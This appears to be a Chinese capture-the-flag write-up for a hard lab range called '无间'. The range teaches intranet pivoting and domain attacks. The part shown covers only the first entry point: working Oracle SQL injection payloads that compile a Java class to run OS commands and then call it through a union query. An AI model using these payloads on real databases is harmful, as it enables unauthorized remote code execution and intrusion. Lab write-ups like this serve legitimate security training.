靶标介绍

无间是一套难度为困难的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有12个flag，分布于不同的靶机。P.S 某些节点注入请不要使用sqlmap，因为原生问题会导致环境崩溃无法自动重启，只能重置或重新下发。


39.99.139.245

39.99.137.245

给了两个入口
image
入口139.99.139.245存在sql注入 1' or '1'='1
参考了别人的payload,通过创建Java source来创建oracle命令执行函数

admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "CommandExecutor" AS
import java.io.*;
public class CommandExecutor {
    public static String execute(String command)  {
        try {
            Process process = Runtime.getRuntime().exec(command);
            InputStream inputStream = process.getInputStream();
            BufferedReader input = new BufferedReader(new InputStreamReader(inputStream, "GBK"));
            String line;
            StringBuilder output = new StringBuilder();
            while ((line = input.readLine()) != null) {
                output.append(line).append("\n");
            }
            input.close();
            return output.toString();

        } catch (Exception e) {
            return e.toString();
        }
    }
}
'';commit;end;') from dual)>1 --
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''CREATE OR REPLACE FUNCTION execute_command(command IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME ''''CommandExecutor.execute(java.lang.String) return java.lang.String''''; '';commit;end;') from dual)>1--
admin' union select null,(select execute_command('whaomi') from dual),null from dual--

image